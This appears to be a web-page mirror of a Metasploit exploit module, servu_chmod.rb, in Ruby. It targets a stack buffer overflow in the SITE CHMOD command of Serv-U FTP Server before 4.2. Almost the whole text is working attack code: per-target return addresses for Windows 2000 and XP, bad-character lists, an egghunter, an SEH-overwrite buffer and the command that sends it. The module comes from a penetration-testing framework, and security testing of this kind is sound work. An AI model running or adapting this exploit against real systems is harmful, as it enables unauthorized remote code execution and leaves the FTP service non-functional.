Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/servu_chmod.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Egghunter9include Msf::Exploit::Remote::Ftp1011def initialize(info = {})12super(update_info(info,13'Name' => 'Serv-U FTP Server Buffer Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in the site chmod command16in versions of Serv-U FTP Server prior to 4.2.1718You must have valid credentials to trigger this vulnerability. Exploitation19also leaves the service in a non-functional state.20},21'Author' => 'theLightCosine',22'License' => MSF_LICENSE,23'References' =>24[25[ 'CVE', '2004-2111'],26[ 'OSVDB', '3713'],27[ 'BID', '9483'],28],29'Privileged' => true,30'DefaultOptions' =>31{32'EXITFUNC' => 'thread',33},34'Payload' =>35{36'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",37'DisableNops' => true,38},39'Platform' => 'win',40'Targets' =>41[42[ 'Windows 2000 SP0-4 EN', {43'Ret' => 0x750212bc, #WS2HELP.DLL44'Offset' => 396 } ],45[ 'Windows XP SP0-1 EN', {46'Ret' => 0x71aa388f, #WS2HELP.DLL47'Offset' => 394 } ]48],49'DisclosureDate' => '2004-12-31',50'DefaultTarget' => 0))51end5253def check54connect55disconnect5657if (banner =~ /Serv-U FTP Server v((4.(0|1))|3.\d)/)58return Exploit::CheckCode::Appears59end60return Exploit::CheckCode::Safe61end626364def exploit65c = connect_login66return if not c6768eggoptions =69{70:checksum => true,71:eggtag => "W00T"72}7374hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)757677buffer = "chmod 777 "78buffer << make_nops(target['Offset'] - egg.length - hunter.length)79buffer << egg80buffer << hunter81buffer << "\xeb\xc9\x41\x41" #nseh, jump back to egghunter82buffer << [target.ret].pack('V') #seh83buffer << rand_text(5000)8485print_status("Trying target #{target.name}...")8687send_cmd( ['SITE', buffer] , false)8889handler90disconnect91end92end939495